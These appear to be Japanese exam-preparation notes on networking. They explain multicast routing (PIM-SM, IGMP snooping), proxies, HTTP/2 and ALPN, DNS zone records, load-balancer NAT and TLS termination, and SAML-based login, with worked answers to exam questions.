• リアルタイム処理に向く: 高い画質と圧縮率を持ちながら、エンコード（符号化）やデコード（復号）の処理が比較的軽く、リアルタイムのライブ配信や監視カメラ映像の送信にも適している。

p.8 Q.IPカメラの設置って物理的にどういう構成になっているの？

Q.PIM-SMってなに？

では、フローとともにPIM-SMの正体を明らかにしていこう！

ステップ1：レシーバー側（下流）の参加表明（IGMP ＆ IGMPスヌーピング）

• PCの動作： レシーバー（またはPC）が「このマルチキャストグループ（例：G）の映像が欲しい！」と IGMP（Internet Group Management Protocol） の参加要求（Join/Report）を送信する。
• L2SWの動作： 直下のL2SWがそのIGMPメッセージを IGMPスヌーピング で盗み見し、「このポートの先には、グループGを欲しがっている機器がいる」と学習する。これにより、L2SWは不要なポートへマルチキャストを流さず、必要なポートだけに絞って転送できるようになる。

ステップ2：ラストホップルーターによるPIM Joinの送信

• L2SWを抜けたIGMPメッセージは、レシーバーに一番近いルーター（ラストホップルーター）に届く。
• ルーターは「おっ、自分の配下にグループGが欲しい人がいるな」と認識し、PIM-SMの仕組みを使って、ネットワークの中心である RP（ランデブーポイント） に向かって 「PIM Join（(*, G) Join）」 というメッセージを上流へ向けて送信する。
• このJoinメッセージが経由するルーターたちを順番に通っていくことで、レシーバー側からRPに向かうまでの「配信ツリー（共有ツリー）」の経路が上に向かって構築される。

ステップ3：ランデブーポイント（RP）とは？どうやって決まるのか？

• 疑問：「このマルチキャストアドレスだったらこのランデブーポイント使ってねというのはあらかじめあるの？」
• 答え：ある！ RP（Rendezvous Point）というのは、マルチキャストの世界における「待ち合わせ場所（中継役のルーター）」。 ネットワーク内の全ルーターは、「どのグループアドレス宛ての通信であれば、どのルーター（のIPアドレス）をRPとみなすか」という情報をあらかじめ知っていなければならない。 設定方法には以下の2つがある。
  1. 手動設定（静的）： 管理者がすべてのルーターに「グループA〜CのRPはルーターXだよ」と手動で書き込んでおく。
  2. 自動配布（Auto-RP / BSR）： 特殊なプロトコルを使って、ネットワーク内のルーター同士で自動的にRPの情報を共有する。

ステップ4：ソース側からのデータ送信と「Register（登録）」の仕組み

• 疑問：「ソースは、このマルチキャストIPあてに送るときはこのランデブーポイントに送るんだなみたいなのをやっとくの？」
• 答え：ソース側はRPの存在を意識していない。 ソース（IPカメラなど）は、自分がどこにいてRPがどこにあるかを知らなくても、単に「宛先＝マルチキャストグループアドレス（G）」として普通にパケットを送信する。
• ファーストホップルーターの動作（Register）： ソースから一番近いルーター（ファーストホップルーター）がそのマルチキャストパケットを受け取る。しかし、この時点ではまだ「レシーバー側からRPを通るツリー」しかできておらず、ソースからRPへのルートが確立していない。 そこで、ファーストホップルーターは、受け取ったマルチキャストパケットを 自分のIPで包み込んで（ユニキャストでカプセル化して）、RP宛てに送り届ける。 これが PIM Register（レジスター）メッセージ 。

ステップ5：RPが受け取り、正規のルート（ツリー）に切り替える

• RPがRegisterメッセージを受け取ると、中身のマルチキャストパケットを取り出し、ステップ2で作られたレシーバー側のツリーに向けて一斉に流し始める（これでレシーバーに映像が届く）。
• 同時に、RPは「ソースから直接データをくれ！」というメッセージ（S, G Join）をソース側に向かって送る。
• これにより、ソースとRPの間にも直接の通信経路（最短パス）ができ、カプセル化（Register）ではなく、通常のきれいなマルチキャストパケット（ネイティブ）で直接やり取りされるようになる。

要は、PIM-SMとはマルチキャストルーティイングを成立させるためのルーティングプロトコルということ。

Q.IGMPスヌーピングとは？

では例のごとくフローを見ながら大枠を理解していこう！

ステップ1：【準備段階】ルーターの場所を覚える（ルーターポートの学習）

1. 上流にあるルーター（L3スイッチなど）は、配下のネットワークに向けて定期的に 「IGMPクエリー（誰かグループに参加したい人いませんか？という確認メッセージ）」 を送信する。
2. L2スイッチは、そのクエリーがどのポートから届いたのかを観察する。
3. 【学習内容】： L2スイッチは、「このクエリーが来たポートの向こう側にルーター（上位機器）があるんだな」と把握し、そのポートを 「ルーターポート（上りポート）」 として記憶する。
   • ※これによって、将来マルチキャストデータが上から降ってきたときに、どこから受け取ればいいかがわかる。

ステップ2：【参加段階】クライアントの要望を盗み見する（メンバーポートの学習）

1. パソコンやレシーバー（クライアント）が、「このマルチキャストグループ（例：カメラ11の映像）の配信が欲しい！」という IGMPレポート（参加要求） をネットワークに発信する。
2. L2スイッチは、このIGMPレポートの中身（IPパケット内の宛先グループアドレス）をこっそり覗き見（スヌーピング）する。
3. 【学習内容】： L2スイッチは、「ポート3に繋がっているPCが、このグループの映像を欲しがっているな」とテーブルにメモ（バインディング）する。このポートを 「メンバーポート」 と呼ぶ。
4. その後、IGMPレポートはそのまま上流のルーターへ転送される。

ステップ3：【データ転送段階】必要なポートだけに絞って流す

1. 実際にソース（IPカメラなど）から、そのグループ宛てのマルチキャストパケットが流れてくると、データはまず ステップ1で覚えたルーターポート からL2スイッチに飛び込んでくる。
2. 通常のL2スイッチであれば、届いたデータをすべてのポートにバラ撒く（フラッディング）してしまいますが、IGMPスヌーピングが有効なスイッチは違う。
3. スイッチは、届いたパケットの宛先を確認し、ステップ2でメモしたテーブル（「このグループが欲しいのはポート3だけ」）を確認する。
4. 【実際の転送】：
   • 欲しがっている ポート3 にだけ、ピンポイントで映像データを流す。
   • 別の映像を流していないPCが繋がっているポート（ポート1や2など）には、一切データを流さない。

Q.IGMPのマルチキャストアドレスは？

（１）a: リバース　b: 権威　c: キャッシュ　d: ストリーム　e: :method　f: TLS

a: リバース
　インターネット側のクライアント（利用者）から見ると、アクセス先はDMZにある「Webサーバー」に見える。しかし、Webサーバーは自分で処理を完結させず、内部の「APサーバー」に処理を中継・肩代わりさせている。つまり、外部からのリクエストをサーバー側（Webサーバー）が代理で受け止めて内部に流している構造なので、これはリバースプロキシになる。

Q.フォワードプロキシとリバースプロキシの違いは？

フォワードかリバースかを判別する基準は、「どちら側の世界を守るため、またはどちら側の代理としてそこに立っているか」である。

1. フォワードプロキシ（順方向）
   • 誰のための代理か： クライアント側
   • 目的： 社内などのクライアントが、インターネットへアクセスするときに経由する。クライアントのIPアドレスを隠したり、アクセス制限をかけたりする。
2. リバースプロキシ（逆方向）
   • 誰のための代理か： サーバー側
   • 目的： インターネット上の不特定多数のクライアントからのリクエストを、本当のサーバー（WebやAP）の代わりに「真っ先に受け止める」。サーバーの保護や負荷分散を行う。

C: キャッシュ
　キャッシュDNSサーバの別名には「フルサービスリゾルバ」、「再帰DNSサーバー」、「リカーシブDNSサーバー」などがある

e: :method
　HPACKには４つの必須フィールドがある。:method、:scheme、:authority、:pathである。その中の:methodを記入すればよい。正直:authorityでも正解になる気がするが。。。安牌な:methodを入れておこう！

f: TLS
　ALPNはどのプロトコルの拡張か？が聞かれている。ALPNはTLSを拡張したものであるので回答にもTLSを記載する。

Q.SSLやSSL/TLSという回答ではだめなの？

SSLは既に撤廃されているプロトコルなのでSSLと記載するのはNG。また、SSL/TLSは、暗号化通信全体を指す慣習的な総称として呼ばれることもあるが、テストなどの厳格な場ではTLSのみを使うことが望ましい。

設問４

（１）回答は以下の図を参照

ア：172.21.10.0/24、イ：172.21.11.2
　G社データセンター側からJ社クラウド側（172.21.10.0/24）に行きたいパケットは、まず仮想ルーター（172.21.11.2）に投げろという指示をあらわしている。

ウ：172.21.11.1
　

▼APサーバが使われるフロー

1. リクエストの到着（インターネット ➔ 仮想LB ➔ Webサーバ）
　①クライアントがインターネットからJ社クラウドの仮想LBにアクセスする。
　②仮想LBが負荷分散として、VPCセグメント内のいずれかのWebサーバにリクエストを転送する。

2. 動的コンテンツの判定とG社DCへの転送（Webサーバ ➔ 仮想ルーター ➔ 専用線 ➔ L3SW ➔ APサーバ）
　①Webサーバがリクエストを受け取るが、それが「画像などの静的ファイル」ではなく「プログラム処理が必要な動的コンテンツ（例: データベースのデータが必要など）」であると判断。
　②Webサーバ自身にはその処理能力がない（あるいはAPサーバに処理を投げなければならない）ため、G社データセンター側にあるAPサーバへリクエストを転送しようとする
　＊WebサーバからAPを使うと判断するときは、宛先APサーバがプログラムでハードコーディングされていることが多い。
　③このとき、VPCセグメント内からデータセンター側へ行くためには、ネットワークの出口である仮想ルーターにパケットを渡す必要がある。
　＊ここで使われるのが空欄ウのデフォルトルート。でも正直、デフォルトルートにしなくてもAPサーバのサブネットが特定できるなら、当該サブネットを指定すればいい。わざわざデフォルトルートにする必要がない。
　④仮想ルーターは、専用線を経由してG社データセンター側のL3スイッチにパケットを送り、L3スイッチからAPサーバにリクエストが届く。

3. 処理結果の返却（APサーバ ➔ L3SW ➔ 仮想ルーター ➔ Webサーバ ➔ 仮想LB ➔ クライアント）
　①APサーバが処理を行い、その結果（動的データ）をL3スイッチに返す。
　②L3スイッチから専用線を通って、J社クラウド側の仮想ルーターに戻ってくる。
　③仮想ルーターから、最初にリクエストを投げたWebサーバにデータが返される。
　④Webサーバが最終的なレスポンスを仮想LBへ返し、仮想LBを経由してインターネット上のクライアントに届く。

（２）動作モード：アプリケーションモード　 理由：HTTP/2リクエストをHTTP/1.1に変換して負荷分散するから

ネットワークモードだと、パケットのL3,L4までしか見ないのでL7でどのプロトコルを使っているかまでは見ない。要は、変換対象としてL3、L4レベルしかできない。
一方、アプリケーションモードは変換対象にL7まで含めることができるのでHTTP/2をHTTP/1.1に変換できる。
問題文中の「負荷分散処理」というとあたかも宛先のみを動的に変換対象とするというイメージだが、そうじゃなくて、どこまでも変換対象にするのかを意味している。

Q.HTTPって何？

HTTPってWebサーバとやり取りするときに使うプロトコルってイメージはあるけど、意外とそれ以上深くは知らないかも。。。。ということでそもそもHTTPってなんなの？という疑問を解消していこう！

A.HTTP（HyperText Transfer Protocol）とは、インターネット上でWebブラウザ（クライアント）とWebサーバーの間で、文字や画像、HTMLファイルなどのWeb情報をやり取りするための「共通のルール（プロトコル）」のことである

p.5 Q.構成変更後のDNS設定はどうなるの？

WebサーバをJ社クラウドに配置することによってDNSのレコードも変更する必要が出てくる。では、どのように変更すればよいのか。。。。それをシナリオとともに見ていこう！
▼前提条件
G社WebサーバのFQDNをshop.g-company.comとする

ステップ①：G社（自社）の権威DNSの変更

• 変更前： G社WebサーバのFQDN（例：shop.g-company.com） に対して、G社データセンターにあったWebサーバーのIPアドレスをAレコードとして直接登録していた。
• 変更後： Aレコードを削除（または変更）し、CNAMEレコードを設定する。
• CNAMEに何を書くか： J社クラウドで仮想LBを作成した際に自動割り当てられる「仮想LBのFQDN（例: xxx.j-cloud-provider.com）」を指定する。

ステップ②：ユーザーからの名前解決要求

1. ユーザーのWebブラウザが shop.g-company.com にアクセスしようとする。
2. ユーザーのPCは、G社の権威DNSに対して shop.g-company.com のIPアドレスを問い合わせる。
3. G社の権威DNSは、「それはJ社の仮想LB（xxx.j-cloud-provider.com）を見てね」とCNAMEの情報を返す。

ステップ③：J社側での名前解決

1. 案内を受けたユーザーのPC（フルリゾルバ）は、今度はそのJ社側のFQDN（xxx.j-cloud-provider.com）のIPアドレスを調べるために、J社側のDNSへ問い合わせる。
2. J社側のDNSが、その時点での仮想LBの正しいIPアドレスを返答する。

ステップ④：通信の開始と仮想LBによる振り分け

1. ユーザーのブラウザは、手に入れた仮想LBのIPアドレス宛てにHTTP/2などでリクエスト（パケット）を送信する。
2. Ｊ社の仮想LBがそのリクエストを真っ先に受け取り、「これは静的コンテンツだからクラウド内のWebサーバーへ」「これは動的コンテンツだからG社データセンターのAPサーバーへ」という風に、URLや設定に応じて適切にルーティング（振り分け）を行う。

Q.:method,:path,:schemeとかって何なの？

従来、リクエスト情報（例：https://example.com/index.html）は1行にまとめて書かれていた。それをHTTP/2では:method や :path、:scheme、:authority という個別のヘッダーフィールドにバラして表現するようになった。

▼各フィールドの解説

:method
　役割： サーバーに対して「何をしたいのか（どんな操作を要求するか）」を伝える指示書
　主な種類：
　　GET：サーバーからデータを「取得」する（一番多い）
　　POST：サーバーにデータを「新規送信・登録」する
　　PUT / PATCH：サーバー上のデータを「更新・修正」する
　　DELETE：サーバー上のデータを「削除」する
:path
　役割： サーバーの中にある「どのファイルやリソース（階層）にアクセスしたいのか」という宛先の場所を指定
　具体例：
　https://example.com/images/logo.pngというURLであれば、ドメイン（example.com）より後ろの部分である /images/logo.png がそのままパスになる。サーバーはこのパスを見て「あ、あの画像を欲しがっているんだな」と判断する
:scheme
　役割： ご自身で気付かれている通り、「通信にどのプロトコル（約束事）を使うか」を表す最頭の部分
　具体例：
　URLの先頭にある https:// や http:// の「https」や「http」の部分が入る

Q.フィールドの必要性は？

正直、従来のように１行にまとめてリクエストしたほうが効率よくね？なんでわざわざフィールドに分けるの？そっちの方が返ってオーバーヘッドとかデータ量が多くなりそうじゃね？
A.非常に自然な疑問。しかし、実際はその真逆で、「分解して構造化するからこそ、HPACKで圧倒的に効率よく圧縮できる」ようになっている。

① 「文字列の重複」をディクショナリ（辞書）で極限まで削れるから

• HTTP通信では、同じサイトにアクセスする際、何度も何度も同じメソッド（GET）や同じスキーム（https）、同じホスト名（:authority）を繰り返し送信する。
• HTTP/1.1の1行テキスト（例: GET /index.html HTTP/1.1）のままだと、毎回この長い文字列をそのまま流すことになり、無駄が多くなる。
• 一方、HTTP/2で項目ごとに独立させると、HPACKの仕組み（裏側にあるあらかじめ用意された辞書や、動的に学習する辞書）によって、「GET というメソッドは、インデックス番号の『2番』ね」「https は『7番』ね」というふうに、わずか数バイト（あるいは1バイト未満）の数字に置き換えて（あるいは参照して）送ることができるようになる。

② 「パス（:path）」以外の部分はほとんど毎回同じだから

• アクセスするたびに変わる可能性があるのは主に「パス（:path = /images/a.png や /index.html など）」くらいで、:method（大体 GET）や :scheme（https）、:authority（自社ドメイン）は、同じセッション内であればほぼ変わらない。
• 変わりにくい部分を独立したフィールドにしておくことで、2回目以降のリクエストでは「前と同じなので、共通の辞書番号だけ送るよ（実体の文字列は送らない）」という省略（差分圧縮）が強力に効くようになる。

③ バイナリ形式での高速処理

• テキストの文字列（GET /index.html...）を毎回プログラムでパース（文字を切り貼りして解釈）するよりも、あらかじめ項目ごとに整理されたバイナリデータとしてやり取りした方が、サーバーやクライアントのCPU負荷が圧倒的に低く、高速に処理できる。

Q.ALPNってなに？

ALPN（Application-Layer Protocol Negotiation）とはTLSハンドシェイクのタイミングで「どのアプリケーションプロトコル使う？」と交渉するためのTLS拡張機能である。

Q.もしALPNがないと？

HTTP/2がほぼ使えなくなる。ALPNを使わないでHTTP/2を使おうとするとH2CとUpgradeヘッダーを利用すればHTTP/2に切り替えれなくもない。しかし、それらの機能はchromeなどの主要ブラウザではサポートされていない。つまり、実質的にHTTP/2を使いたい場合はALPNがほぼ必須とういことである。
HTTP/1.1を使いたい場合はALPNは不要。なぜならHTTP/1.1はデフォルトだから。

p.4 Q.h2って何？

h2とは、ALPNで「どのプロトコルを使うの？」というネゴシエーションの際にいちいち「HTTP/2」ですと答えると長いので、h2に略した識別子を使うためのもの

（１）a: NS　b: MX　c: 100.α.β.1　d: 100.α.β.3　e: 192.168.1.1　f: 192.168.1.3

@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    f=192.168.1.3

この問題は表１を参考にしながら埋めていく問題である。以下の手順で考えるとわかりやすい。
①外部用か内部用かを把握する（これにより変換前のIPか変換後なのかが分かる）
②サービスを特定する（ホストからMX、NS、HTTPなどを判断できるので、あとはそのサービスに対応するプロトコルのIPを選ぶ）
以上の２ステップにより適切なIPを埋めることができる。

設問２

（１）コモン名とURLのドメイン名が異なるから

これはサーバ証明書の検証の際に、エラーがなぜ起きたのかが問われている。
サーバ証明書の検証では主に以下のことを確認する
・証明書の有効期限
・CRLやOCSPを使って失効状態の検証
・証明書に付加された署名の検証
・アクセス先URLのドメインと証明書のCNまたはSANフィールドに記載されたドメインを確認

上記の４つ目の手順がまさに本問の核心。現在の環境では、マルチドメインに対応しておらず、証明書にはCN（コモン名）がecsv.example.jpに対する証明しかできない。そのため、ecsv.y-sha.example.lanの要求に対しては、適切な証明書が返せずエラーになってしまう。

Q.CNとSANの違いは？

CNもSANも、「このサーバー証明書がどのFQDN（ドメイン名）に対して発行された正当なものか」を証明する識別フィールドである。

CN（Common Name：コモン名）：
　・原則として1つのドメイン名（例: example.com）しか指定できない

SAN（Subject Alternative Name：主体別名）：
　・1つの証明書内に複数のドメイン名を一覧でリスト保持できる（例: example.com, example.jp, sub.example.com など）。
　・ドメイン名（DNS Name）だけでなく、IPアドレス（例: 192.168.1.1） なども別名として含めることができるため、マルチドメインや柔軟な構成に対応できる。

設問３

（３）回答は下図参照

i: 100.α.β.2
　外部からECサーバにアクセスする際は、HTTPSサービスとしてFWzで100.α.β.2が公開されている。そのため、外部からECサーバへ来るときの宛先は100.α.β.2になる。

j: 192.168.1.2
　表１のNATテーブルを見ると、100.α.β.2宛てのパケットは、192.168.1.2に変換される。なお、192.168.1.2はLBの仮想IPアドレスでもある。

k: 192.168.1.4
　LBがソースNATを実行する場合は、外部からのパケットの送信元はLB自身のIPアドレスに変換して転送する。
　ちなみにここでは、SNATとDNATの両方を実行していることになる。

Q.LBでソースNATを実施しない場合、ECサーバから200.a.b.cに返信するときにどうやってLBを通すの？

A.ECサーバのデフォルトゲートウェイをLB（192.168.1.4）に設定する。そうすることにより、ECサーバからの返信はLBを通る。
LBは行きの通信でDNATをしているので、そのセッションテーブルを参考に、「200.a.b.cからの通信はECサーバ192.168.1.5に送った」という変換テーブルを参照する。
「あ、これはさっき 192.168.1.5 に振り分けた通信の返事だな」と認識し、送信元を仮想IPアドレスの192.168.1.2に自動変換してしてFWzに返す。
＊この処理をSNATと勘違いしてしまう人もいるがこれは、あくまでもDNATの復路に対する自動処理に過ぎない！

Q.根本的にLBがSNATを使う時と使わないときのメリット・デメリットって何？

「結果的にどちらもLBを通る」という点では同じ。ではこの2つの方式の決定的な違いは、なんなのか。。それは、「ECサーバーの既存ネットワーク設定（デフォルトゲートウェイ）を変更できるか」と「ECサーバー側でクライアントの生のIPアドレスを直接知る必要があるか」の2点に集約される。

Q.TLSハンドシェイクはどうなるの？

途中の経路でDNAT、SNATが挟まっているとIPアドレスがコロコロ変わる。その場合、TLSハンドシェイクはどうなるの？
A.途中の経路でどんなにIPが変わったとしてもTLSハンドシェイクには全く影響がない。ブラウザ（クライアント）がTLSハンドシェイクでサーバー証明書を検証する際、チェックしているのはパケットの宛先IPアドレスではない。ブラウザは「自分がアクセスしようとしたドメイン名」と「証明書に書いてあるドメイン名」が一致しているかだけを検証する。そのため、ヘッダーに書かれたIPアドレスが途中で何回書き換わっていようと、証明書の検証ロジックには1ミリも影響しない。

設問４

（１）機器：LB　IPアドレス：仮想IPアドレス

@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  a=NS   ns.example.jp.
        IN  b=MX   10 mail.example.jp.
ns      IN  A    c=100.α.β.1
ecsv    IN  A    (省略)=100.α.β.2
mail    IN  A    d=100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    e=192.168.1.1
ecsv    IN  A    (省略)=192.168.1.2
mail    IN  A    f=192.168.1.3

今までは、100.α.β.2宛ては192.168.1.2にDNATされた後に、ECサーバへ直接転送していた。しかし、LBを導入したことにより宛先をLBの仮想IPに変更する必要がある。
そのため、答えはLBと仮想IPになる。

Q.項番5と項番11は変更する必要ある？

A.変更する必要はない。なぜならFWzがDNATで使っていた192.168.1.2をLBの仮想IPとして使いまわしているから。そのため、DNSのレコードを変更する必要はない。

（２）IPアドレス

既設ECサーバには192.168.1.2が割り当てられていたが、LBの導入により当該IPをLBが使うことになった。そのため、既設ECサーバのIPアドレスを変更する必要がある。
＊ちなみになぜLBに奪われるかというと、DNSの項番5,11の変更をしないでもよくするため。192.168.1.2をLBに渡せば、DNSを変更することなくHTTPSサービスを運用し続けることができる。

Q.なんでホスト名を変更する必要があるの？

項番５ ecsv IN A 100.α.β.2

項番11 ecsv IN A 192.168.1.2

LBにecsv1のホスト名を割り当てて、既設ECサーバはそのままecsvのホスト名だったらどうなるの？正直、クライアントからの要求は最終的に192.168.1.2に変換されるのでLBに届く。なので、別に既設ECサーバのホスト名を変える必要はどこにあるの？

A.「DNSで ecsv を引いて 192.168.1.2（LB）が返ってくる以上、クライアントからの通信は絶対にロードバランサーに到達する」。ここは何の疑いもない動かぬ事実。
しかし、メンテナンス時などに、直接既設ECサーバにアクセスしたいときに疎通ができなくなる。ECSVを引いてもLBのIPが返ってくる。かといって、IPアドレスで直接通信を試みると可能っちゃ可能だが、IPアドレスを管理する手間が出てくる。
ということで、基本的にはホスト名とIPアドレスは一致させた状態で管理しておくのが定跡というわけである。

（３）FWzからLBに変更

LBでSNATを実行しないとECサーバが直接FWzにパケットを返すことになる。しかし、そうなると送信元はECサーバのIPのままであるためFWzは「え？君からのパケットなんて知らないよ。。」ということでFWzからインターネットへ疎通してくれなくなってしまう。
それを防ぐにはLBを経由させて、しっかりとLBに逆DNATをしてもらう必要がある。
その方法はシンプルで、ECサーバのデフォルトゲートウェイをFWzからLBに変更すればインターネット宛てへのパケットはすべてLBを通らせて、しっかりと復路用のDNAT変換をしてFWzに送ってくれる。そうなれば、FWzも「あ、このパケットね！それならちょっと前にセッションテーブルに記録したペアだから、それを変換してインターネットに流すね！」とすることができる。

（５）既設ECサーバにインストールされているサーバ証明書と秘密鍵のペアをLBに移す

LBに既設サーバのサーバ証明書と秘密鍵のペアを配置することでLBをTLS終端にする。

Q.そもそもなぜLBをTLS終端にする必要があるのか？

今回の問題の全体像を、正しい因果関係で並べ直すとこうなる👇

1. 前提（運用PCとの通信）:
   運用PCからECサーバーにアクセスできるようにするため、ECサーバーのデフォルトゲートウェイは FWz にしておく必要がある。
2. 課題1（復路問題）:
   デフォゲがFWzだとWebアクセスの戻りパケットがLBを通らないため、LBでソースNAT（SNAT）をして、強制的に戻りパケットをLBに向かわせる。
3. 課題2（IP隠蔽問題）:
   SNATをするとECサーバー側でアクセス元のIPが分からなくなるため、HTTPヘッダーに X-Forwarded-For を挿入したい。
4. 解決策（TLS終端 ＋ 証明書移行）:
   HTTPヘッダーを操作するにはLBで暗号を解く（TLS終端する）必要があるので、既設ECサーバーの「証明書と秘密鍵」をLBに移してTLS終端を行わせる。

Q.LBのTLS仲介はどうやってやっているの？

SSLオフロード（TLS終端）などでTLSを仲介するときって具体的に何をやっているの？IPアドレスを変えているだけなのかな？

A.TLSを仲介するときは０からパケットを作っている。LBがECサーバから受け取ったパケットを流用しているわけではない。ECサーバからもらったパケットを、必要な情報を抽出し０から適切なパケットを作っている。

設問５

（２）サーバの応答に含まれるCookie中のセッションIDが、セッション管理テーブルに存在しない場合。

ここでは、LBがセッション管理テーブルに登録するトリガーがきかれている。
そもそも、セッションIDを作成するのはサーバなので、そのサーバからの応答パケットのセッションIDがセッション管理テーブルにない場合は、新しいセッションとしてセッション管理テーブルに記録する。

設問６

（１）アクセス元の購買担当者が所属している会員企業の情報

この問いでは、SPがIdPにリダイレクトする際に、どの情報を使ってリダイレクト先を割り出すのかが問われている。
正解はシンプルでアクセス元の購買担当者が所属している会員企業の情報である。
これだけ聞くと「。。ん？」となるので具体例を出しながら見ていこう！

▼具体的なフロー（SAMLとケルベルスの連携）
１．会員企業Aに属するユーザaがECサーバにアクセス
２．ECサーバはユーザaの所属する会員企業の情報からIdPを特定しリダイレクト←設問になっている箇所
３．IdPはユーザからの要求を受けるが、ユーザはSTを持っていないのでST持ってから出直してとユーザに伝える
４．ユーザはKDC（TGS）にSTを要求し、発行してもらう
５．再度、IdPにアクセスする
６．正当なSTがあるのでIdPはユーザにSAMLアサーションを発行してあげる
７．SAMLアサーションをECサーバに提示して許可されたユーザであることを証明する
８．ECサーバはSAMLアサーションを検証してアクセスを許可する

Q.そもそもシステムはどうやってユーザが属する会社を判定するの？

「購買担当者が所属している会員企業の情報」なんて抽象的な言葉を言われても、「じゃあ実際の画面でユーザーに何を入力させて、システムはどうやってそれを判定するんだよ？」と疑問が出るのは当然のこと。モヤモヤしている「実際にどうやって判定しているのか」をスッキリ整理する。

1. メールアドレス入力方式
   • ログイン画面で tanaka@e-sha.co.jp と入力させる。
   • ECサーバーは @ 以降の e-sha.co.jp（ドメイン） を見て、「あ、この人はe社だな。じゃあe社のIdPのURLへリダイレクトしよう」と判断する。
2. 企業コード / ドメイン入力方式
   • ログイン画面で「企業コード（またはドメイン）」を入力させる。
3. 企業専用ログインURL方式
   • 最初から
     

     Attention Required! | Cloudflare

     

     ec-site.com
     (https://ec-site.com/login/e-sha) のような専用URLを用意しておき、URLから企業を特定する。

（４）①信頼関係のあるIdPが生成したものであること　　　②SAMLアサーションが改ざんされていないこと

SAMLアサーションで検証できるものは「真正性（送信元が本物か）」と「完全性（改ざんされていないか）」である。
これは「SAMLアサーションだから」という固有の機能ではなく、基盤となっている「デジタル署名（公開鍵暗号＋ハッシュ関数）」という仕組みそのものが、本質的に「真正性」と「完全性」を担保する性質を持っているだけの話。
この仕組みを使っているTLSハンドシェイクやS/MIMEなどでも同様に真正性と完全性が保証されている。

p.12 DNSレコードをどういう流れで使われているの？どうやって見るの？

@       IN  SOA  ns.example.jp. hostmaster.example.jp. (省略)
        IN  NS   ns.example.jp.
        IN  MX   10 mail.example.jp.
ns      IN  A    100.α.β.1
ecsv    IN  A    (省略)
mail    IN  A    100.α.β.3
@       IN  SOA  ns.y-sha.example.lan. hostmaster.y-sha.example.lan. (省略)
        IN  NS   ns.y-sha.example.lan.
        IN  MX   10 mail.y-sha.example.lan.
ns      IN  A    192.168.1.1
ecsv    IN  A    (省略)
mail    IN  A    192.168.1.3

では、ここでは例を使いながらDNSのフローを確認していこう！

▼インターネット側ユーザがhttps://ecsv.example.jpにアクセスする場合

１．ルート
　まずはルートに問い合わせ、そこから次に.jpに関するNSレコードとGlueレコード（Aレコード）をもらう
２．.jp権威DNS
　　次に.jp権威DNSに問い合わせ、そこから.example.jpに関するNSレコードとGlueレコード（Aレコード）をもらう
３．Y社の.example.jpにアクセスしecsv.example.jpのAレコードをもらう
　ecsv.example.jp.はY社DNSが管理しているので、そのAレコードをレスポンスしてあげる

▼インターネット側ユーザがY社メールサーバにへ送信する場合

１．MXレコードの取得
　Y社にメールを送信したい場合、送信側はまずはY社ドメインに対するMXレコードを取得する。
　→そうすると、Y社側のメールサーバのホスト名が判明する
２．メールサーバの名前解決
　手順１でもらったメールサーバのホスト名を名前解決する
３．メール送信
　２で得たIPアドレス宛てにメールパケットを送信する

▼内部からhttps://ecsv.y-sha.example.lan/にアクセスする場合

１．運用PCには最初からDNSサーバが登録されている
　運用PCのネットワーク設定（IP設定やDHCP）には最初から参照先DNS＝DMZのDNSサーバ（192.168.1.1）が登録されている
２．DNSサーバに問い合わせる
　ecsv.y-sha.example.lanのAレコードをDNSサーバに問い合わせる
３．Aレコードの応答
　DMZのDNSサーバは自身が保持するゾーン情報（図2の項番11）を検索する。
　→該当レコードが見つかるため、外部に一切問い合わせることなく、その場で直接回答を返す

▼内部からインターネット上のドメインの名前解決

１．ユーザがFQDN（例：google.com.）をDNSに問い合わせる
２．DNSは自分の管理下か否かを判断する
　管理下であれば→レコードを返す
　管理下でなければ→ルートから順番に外部のDNSに反復問い合わせをする

つまり、Y社のDMZにあるDNSサーバは権威DNSであると同時にキャッシュDNSサーバでもあるということ。

Q.なんでNSレコードはあるの？

DNSのフローを確認すると、上位DNSサーバが1つ下のNSレコードとAレコード（Glue）を教えてくれる。つまり、1つ下の権威DNSではNSレコードいらなくね？だって上位DNSが既にユーザに当該DNSサーバのホスト名を教えちゃってるんだから。。。それなのになぜ当該DNSサーバでもNSレコードを準備しておくの？不要では？

A.「親ゾーンから教えてもらったから、もう権威DNSにNSレコードを聞く必要がない」と思われがちだが、実際には以下のような場面で権威DNSへNSレコードが問い合わせられている。

1. dig example.jp NS や nslookup -type=NX example.jp を実行したとき
   コマンドで直接ドメインのNSレコードを調べるとき、キャッシュDNSは権威DNSサーバーへ直接「NSレコードをちょうだい」と問い合わせに行く。
2. キャッシュDNSが知識を「最新化」するとき
   キャッシュDNSは、親ゾーンから聞いたNS情報（委任情報）で権威DNSに辿り着いたあと、「念のため、お前（権威DNS）自身が持っている正しく最新のNSレコードを教えて」と確認し、自分のキャッシュを上書き更新する
3. RFCのルール
   DNSの基本仕様を定めた規格（RFC 1034 / 1035）において、「すべてのゾーンファイルの頂点（@）には、必ずSOAレコードと1つ以上のNSレコードを記述しなければならない（MUST）」と厳密にルール化されている

Q.SOAレコードはどうやって見るの？

SOA（StartOfAuthority）レコードは、そのゾーン（ドメインの管理領域）における「管理責任者の情報」と「プライマリDNS・セカンダリDNS間での同期ルール（ゾーン転送ルール）」を定義するヘッダー情報。

@ IN SOA ns.example.jp. hostmaster.example.jp. (
        2026092001 ; Serial (シリアル番号)
        3600       ; Refresh (更新確認の間隔)
        900        ; Retry   (再試行までの待ち時間)
        604800     ; Expire  (データの有効期限)
        86400      ) ; Minimum / Negative Cache TTL (存在しない情報の保持時間)

ns.example.jp.（プライマリDNSサーバー）

• 意味: このゾーンのマスターデータ（元データ）を保持している主DNSサーバー（マスター/プライマリDNS）のFQDN

hostmaster.example.jp.（管理者メールアドレス）

• 意味: このゾーンの管理者の連絡先メールアドレス。
